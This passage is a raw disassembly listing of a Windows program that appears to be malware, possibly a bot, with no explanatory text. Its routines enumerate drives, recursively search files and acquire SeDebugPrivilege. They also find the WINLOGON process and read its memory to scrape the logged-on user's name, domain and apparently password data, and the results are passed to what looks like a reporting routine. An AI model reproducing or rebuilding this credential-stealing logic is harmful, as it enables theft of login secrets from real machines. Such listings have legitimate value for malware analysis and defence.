loc_416878: ; CODE XREF: sub_4163FA+46Aj lea eax, [ebp+Filename] push eax push offset unk_437D68 jmp short loc_416892 ; --------------------------------------------------------------------------- loc_416886: ; CODE XREF: sub_4163FA+45j lea eax, [ebp+var_248] push eax push offset asc_437D3C ; "-" loc_416892: ; CODE XREF: sub_4163FA+48Aj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4168C6 push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409A73 add esp, 14h loc_4168C6: ; CODE XREF: sub_4163FA+4AAj lea eax, [ebp+Dst] push eax call sub_4151AD pop ecx loc_4168D3: ; CODE XREF: sub_4163FA+29Cj ; sub_4163FA+325j ... push [ebp+var_18] call dword_4CB688 ; InternetCloseHandle push [ebp+var_48] call sub_40B413 pop ecx push esi call ds:dword_4270CC ; ExitThread sub_4163FA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4168EC proc near ; CODE XREF: sub_4163FA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416908 loc_4168F8: ; CODE XREF: sub_4168EC+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_4168F8 locret_416908: ; CODE XREF: sub_4168EC+Aj retn sub_4168EC endp ; =============== S U B R O U T I N E ======================================= sub_416909 proc near ; CODE XREF: sub_401ACD+5842p ; sub_401ACD+596Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41D3BE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416923 proc near ; CODE XREF: sub_40F96B+458p ; sub_40F96B+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h ; Size mov edi, offset dword_4D3288 push 0 ; Val push edi ; Dst call _memset mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416948: ; CODE XREF: sub_416923+5Bj ; sub_416923+61j push 0 push 0Ah push [ebp+arg_4] push ebx call __aullrem push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call __aulldiv mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416986 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416948 mov byte ptr [esi], 2Ch inc esi jmp short loc_416948 ; --------------------------------------------------------------------------- loc_416986: ; CODE XREF: sub_416923+4Bj dec esi mov eax, edi loc_416989: ; CODE XREF: sub_416923+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416998 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416989 ; --------------------------------------------------------------------------- loc_416998: ; CODE XREF: sub_416923+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416923 endp ; =============== S U B R O U T I N E ======================================= sub_4169A2 proc near ; CODE XREF: sub_416B57+51p ; sub_416B57+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CB6B4 ; GetDriveTypeA sub eax, 0 jz short loc_4169E5 dec eax jz short loc_4169DF dec eax dec eax jz short loc_4169D9 dec eax jz short loc_4169D3 dec eax jz short loc_4169CD dec eax jz short loc_4169C7 mov eax, offset word_437F2C retn ; --------------------------------------------------------------------------- loc_4169C7: ; CODE XREF: sub_4169A2+1Dj mov eax, offset off_437F28 retn ; --------------------------------------------------------------------------- loc_4169CD: ; CODE XREF: sub_4169A2+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_4169D3: ; CODE XREF: sub_4169A2+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_4169D9: ; CODE XREF: sub_4169A2+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: sub_4169A2+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_4169E5: ; CODE XREF: sub_4169A2+Dj mov eax, offset aUnknown ; "Unknown" retn sub_4169A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169EB proc near ; CODE XREF: sub_416A33+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB544 test eax, eax jz short loc_416A20 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_416A20: ; CODE XREF: sub_4169EB+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_4169EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A33 proc near ; CODE XREF: sub_416B57+17p ; sub_41AA43+1F3p Dest = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_4169EB pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416B11 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416B11 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416B11 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call __alldiv push edx push eax call sub_416923 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi ; Format lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call __alldiv push edx push eax call sub_416923 pop ecx pop ecx push eax push edi ; Format lea eax, [ebp+var_118] push esi ; Count push eax ; Dest call __snprintf add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call __alldiv push edx push eax call sub_416923 pop ecx pop ecx push eax push edi ; Format lea eax, [ebp+var_98] push esi ; Count push eax ; Dest call __snprintf add esp, 10h pop ebx jmp short loc_416B43 ; --------------------------------------------------------------------------- loc_416B11: ; CODE XREF: sub_416A33+2Cj ; sub_416A33+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+Dest] push esi ; Format push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_118] pop ecx push esi ; Format push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_98] pop ecx push esi ; Format push eax ; Dest call _sprintf pop ecx pop ecx loc_416B43: ; CODE XREF: sub_416A33+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+Dest] mov edi, eax rep movsd pop edi pop esi leave retn sub_416A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416B57(int,char *Str,int,int) sub_416B57 proc near ; CODE XREF: sub_416C29+17p ; sub_416C29+60p Dest = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h Str1 = byte ptr -80h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416A33 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+Str1] push offset aFailed ; "failed" rep movsd push eax ; Str1 call _strcmp add esp, 10h test eax, eax jnz short loc_416BCA push ebx push ebx call sub_4169A2 pop ecx push eax push offset asc_437F7C ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_416BFE ; --------------------------------------------------------------------------- loc_416BCA: ; CODE XREF: sub_416B57+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+Str1] push eax push ebx push ebx call sub_4169A2 pop ecx push eax push offset asc_437F40 ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 20h loc_416BFE: ; CODE XREF: sub_416B57+71j push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 lea eax, [ebp+Dest] push eax call sub_4151AD add esp, 18h pop edi pop esi pop ebx leave retn sub_416B57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416C29(int,char *Str,int,int) sub_416C29 proc near ; CODE XREF: sub_401ACD+2554p arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416C4A push [ebp+arg_C] ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_416B57 add esp, 10h jmp short loc_416CAB ; --------------------------------------------------------------------------- loc_416C4A: ; CODE XREF: sub_416C29+9j push esi push edi push ebx push ebx call dword_4CB5BC ; GetLogicalDriveStringsA lea esi, [eax+2] push esi ; Size call _malloc pop ecx mov edi, eax push edi push esi call dword_4CB5BC ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_416CA2 loc_416C6E: ; CODE XREF: sub_416C29+77j push offset aA_1 ; "A:\\" push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_416C91 push esi ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_416B57 add esp, 10h loc_416C91: ; CODE XREF: sub_416C29+54j push esi ; Str call _strlen cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_416C6E loc_416CA2: ; CODE XREF: sub_416C29+43j push edi call sub_41B0B1 pop ecx pop edi pop esi loc_416CAB: ; CODE XREF: sub_416C29+1Fj pop ebx pop ebp retn sub_416C29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CAE proc near ; DATA XREF: sub_401ACD+68A0o Dest = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = dword ptr -218h var_115 = byte ptr -115h Str = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+Str] push eax ; Str call _strlen xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_416D03 lea eax, [ebp+Str] push eax ; Str call _strlen pop ecx mov [ebp+eax+var_115], bl loc_416D03: ; CODE XREF: sub_416CAE+3Fj lea eax, [ebp+var_218] push eax push offset asc_437FDC ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+var_8], ebx jnz short loc_416D48 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_298] push eax ; Str push [ebp+var_29C] ; int call sub_409A73 add esp, 14h loc_416D48: ; CODE XREF: sub_416CAE+78j lea eax, [ebp+Str] push ebx ; int push eax ; int lea eax, [ebp+var_218] push eax ; int lea eax, [ebp+var_298] push [ebp+var_C] ; int push eax ; Str push [ebp+var_29C] ; int call sub_416DC9 add esp, 18h push eax lea eax, [ebp+Dest] push offset asc_437FBC ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_416DA9 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_298] push eax ; Str push [ebp+var_29C] ; int call sub_409A73 add esp, 14h loc_416DA9: ; CODE XREF: sub_416CAE+D9j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_10] call sub_40B413 pop ecx pop ecx push ebx call ds:dword_4270CC ; ExitThread pop edi pop esi pop ebx sub_416CAE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_416DC9(int,char *Str,int,int,int,int) sub_416DC9 proc near ; CODE XREF: sub_416CAE+B9p ; sub_416DC9+9Ep var_54C = dword ptr -54Ch var_34C = dword ptr -34Ch Dest = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+Dest] push offset aS_3 ; "%s\\*" push esi ; Count push eax ; Dest call __snprintf mov edi, ds:dword_427000 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+Dest] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset Format ; "%s\\%s" jz short loc_416E86 loc_416E15: ; CODE XREF: sub_416DC9+BBj test [ebp+var_144], 10h jz short loc_416E72 cmp [ebp+var_118], 2Eh jnz short loc_416E39 cmp [ebp+var_117], 0 jz short loc_416E72 cmp [ebp+var_117], 2Eh jz short loc_416E72 loc_416E39: ; CODE XREF: sub_416DC9+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx ; Format push esi ; Count push eax ; Dest call __snprintf push [ebp+arg_14] ; int lea eax, [ebp+var_34C] push eax ; int push [ebp+arg_C] ; int push [ebp+arg_8] ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_416DC9 add esp, 2Ch mov [ebp+arg_14], eax loc_416E72: ; CODE XREF: sub_416DC9+53j ; sub_416DC9+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call ds:dword_427118 ; FindNextFileA test eax, eax jnz short loc_416E15 loc_416E86: ; CODE XREF: sub_416DC9+4Aj push [ebp+var_4] call ds:dword_42710C ; FindClose push [ebp+arg_C] lea eax, [ebp+Dest] push [ebp+arg_10] push ebx ; Format push esi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+Dest] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_416F0C loc_416EBD: ; CODE XREF: sub_416DC9+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset asc_438004 ; "-" push 200h ; Count push eax ; Dest call __snprintf push 1 ; int lea eax, [ebp+var_54C] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 28h lea eax, [ebp+var_144] push eax push esi call ds:dword_427118 ; FindNextFileA test eax, eax jnz short loc_416EBD loc_416F0C: ; CODE XREF: sub_416DC9+F2j push esi call ds:dword_42710C ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_416DC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F1B proc near ; DATA XREF: sub_401ACD+1CD0o Dest = byte ptr -29Ch var_9C = dword ptr -9Ch Str = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41A8F5 cmp eax, esi mov [ebp+var_4], eax jz short loc_416F5A cmp eax, 2 jz short loc_416F5A push offset unk_4381F8 jmp loc_417099 ; --------------------------------------------------------------------------- loc_416F5A: ; CODE XREF: sub_416F1B+2Ej ; sub_416F1B+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419652 pop ecx test eax, eax pop ecx jz loc_417094 push ebx push offset aNtdll_dll ; "NTDLL.DLL" call ds:dword_4270B8 ; LoadLibraryA mov esi, ds:dword_4270BC mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi ; GetProcAddress push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D44CC, eax call esi ; GetProcAddress push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D44C0, eax call esi ; GetProcAddress push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D46D0, eax call esi ; GetProcAddress push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D44C8, eax call esi ; GetProcAddress mov dword_4D44C4, eax call sub_4170ED test eax, eax mov [ebp+arg_0], eax jz loc_417067 mov esi, ds:dword_42713C mov edi, 400h mov ebx, offset word_4D34C0 push edi push ebx push offset aUsername ; "USERNAME" call esi ; GetEnvironmentVariableW push edi mov edi, offset word_4D3CC0 push edi push offset aUserdomain ; "USERDOMAIN" call esi ; GetEnvironmentVariableW cmp [ebp+var_4], 1 push offset dword_4D46D8 push [ebp+arg_0] jnz short loc_417013 call sub_417276 jmp short loc_417018 ; --------------------------------------------------------------------------- loc_417013: ; CODE XREF: sub_416F1B+EFj call sub_41741D loc_417018: ; CODE XREF: sub_416F1B+F6j pop ecx test eax, eax pop ecx jz short loc_417060 cmp dword_4D46D8, 0 jnz short loc_417047 push ebx push edi push [ebp+arg_0] lea eax, [ebp+Dest] push offset asc_4380C0 ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 18h jmp short loc_41707A ; --------------------------------------------------------------------------- loc_417047: ; CODE XREF: sub_416F1B+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_417057 call sub_417553 jmp short loc_41705C ; --------------------------------------------------------------------------- loc_417057: ; CODE XREF: sub_416F1B+133j call sub_4175EA loc_41705C: ; CODE XREF: sub_416F1B+13Aj pop ecx push eax jmp short loc_41706C ; --------------------------------------------------------------------------- loc_417060: ; CODE XREF: sub_416F1B+101j push offset unk_438088 jmp short loc_41706C ; --------------------------------------------------------------------------- loc_417067: ; CODE XREF: sub_416F1B+B6j push offset asc_43805C ; "-" loc_41706C: ; CODE XREF: sub_416F1B+143j ; sub_416F1B+14Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_41707A: ; CODE XREF: sub_416F1B+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419652 pop ecx pop ecx push [ebp+var_8] call ds:dword_427138 ; FreeLibrary pop ebx jmp short loc_4170A7 ; --------------------------------------------------------------------------- loc_417094: ; CODE XREF: sub_416F1B+4Ej push offset asc_438028 ; "-" loc_417099: ; CODE XREF: sub_416F1B+3Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_4170A7: ; CODE XREF: sub_416F1B+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4170CE push esi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_9C] ; int call sub_409A73 add esp, 14h loc_4170CE: ; CODE XREF: sub_416F1B+191j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_18] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread pop edi pop esi sub_416F1B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4170ED proc near ; CODE XREF: sub_416F1B+ACp String = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, ds:dword_427148 mov ebx, 100h push edi push ebx push 8 call esi ; GetProcessHeap mov edi, ds:dword_427144 push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D44CC push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_427140 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D44CC test eax, eax jnz short loc_4171DA mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4171DA push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+String], ecx jb short loc_4171DA loc_417176: ; CODE XREF: sub_4170ED+EBj cmp word ptr [ebx+8], 5 jnz short loc_4171CD push 0 push 0 call dword_4D44C0 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D46D0 test eax, eax jnz short loc_4171BE mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4171F2 loc_4171BE: ; CODE XREF: sub_4170ED+AAj test edi, edi jz short loc_4171C9 push edi call dword_4D44C8 loc_4171C9: ; CODE XREF: sub_4170ED+D3j mov eax, [esp+28h+var_10] loc_4171CD: ; CODE XREF: sub_4170ED+8Ej add ebx, 10h inc [esp+28h+String] cmp [esp+28h+String], eax jbe short loc_417176 loc_4171DA: ; CODE XREF: sub_4170ED+6Dj ; sub_4170ED+7Aj ... xor edi, edi loc_4171DC: ; CODE XREF: sub_4170ED+17Dj push ebp push 0 call esi ; GetProcessHeap push eax call ds:dword_427140 ; RtlFreeHeap mov eax, edi loc_4171EA: ; CODE XREF: sub_4170ED+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_4171F2: ; CODE XREF: sub_4170ED+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_41725B lea eax, [edi+80h] mov [esp+28h+String], eax loc_417208: ; CODE XREF: sub_4170ED+16Cj add [esp+28h+String], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+String] ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41726F push offset aMsgina ; "MSGINA" push [esp+2Ch+String] ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41724D mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_41724D: ; CODE XREF: sub_4170ED+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_417208 loc_41725B: ; CODE XREF: sub_4170ED+10Fj test edi, edi jz short loc_417266 push edi call dword_4D44C8 loc_417266: ; CODE XREF: sub_4170ED+170j mov edi, [esp+28h+var_4] jmp loc_4171DC ; --------------------------------------------------------------------------- loc_41726F: ; CODE XREF: sub_4170ED+13Cj xor eax, eax jmp loc_4171EA sub_4170ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417276 proc near ; CODE XREF: sub_416F1B+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call ds:dword_427084 ; OpenProcess cmp eax, esi mov [ebp+var_4], eax jnz short loc_41729F xor eax, eax jmp loc_41741A ; --------------------------------------------------------------------------- loc_41729F: ; CODE XREF: sub_417276+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call ds:dword_427154 ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi mov esi, ds:dword_427148 push 8 call esi ; GetProcessHeap mov edi, ds:dword_427144 push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov ebx, ds:dword_427150 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_4172EF xor esi, esi jmp loc_41740D ; --------------------------------------------------------------------------- loc_4172EF: ; CODE XREF: sub_417276+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call ds:dword_42714C ; VirtualQueryEx test eax, eax jz loc_4173FC mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4173FC test [ebp+var_2B], 1 jnz loc_4173FC push [ebp+var_34] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_4173FC loc_417352: ; CODE XREF: sub_417276+112j push edi ; Str2 push offset word_4D34C0 ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jnz short loc_41737A lea eax, [edi+200h] push eax ; Str2 push offset word_4D3CC0 ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jz short loc_41738A loc_41737A: ; CODE XREF: sub_417276+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4173FC jmp short loc_417352 ; --------------------------------------------------------------------------- loc_41738A: ; CODE XREF: sub_417276+102j test edi, edi jz short loc_4173FC lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call ds:dword_427114 ; FileTimeToLocalFileTime test eax, eax jz short loc_4173C5 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call ds:dword_427110 ; FileTimeToSystemTime test eax, eax jz short loc_4173C5 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4173C5: ; CODE XREF: sub_417276+12Bj ; sub_417276+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D46E4, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D46DC, eax mov Src, edi loc_4173FC: ; CODE XREF: sub_417276+90j ; sub_417276+A2j ... push [ebp+arg_0] push 0 call esi ; GetProcessHeap push eax call ds:dword_427140 ; RtlFreeHeap mov esi, [ebp+var_10] loc_41740D: ; CODE XREF: sub_417276+74j push [ebp+var_4] call ds:dword_427068 ; CloseHandle pop edi mov eax, esi pop ebx loc_41741A: ; CODE XREF: sub_417276+24j pop esi leave retn sub_417276 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41741D proc near ; CODE XREF: sub_416F1B:loc_417013p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call ds:dword_427084 ; OpenProcess test eax, eax mov [ebp+arg_0], eax jz loc_41750F mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call ds:dword_427154 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417506 mov edi, ds:dword_427148 loc_417468: ; CODE XREF: sub_41741D+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call ds:dword_42714C ; VirtualQueryEx test eax, eax jz short loc_4174F4 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_4174FA test [ebp+var_13], 1 jnz short loc_4174FA push ecx push 8 call edi ; GetProcessHeap push eax call ds:dword_427144 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call ds:dword_427150 ; ReadProcessMemory test 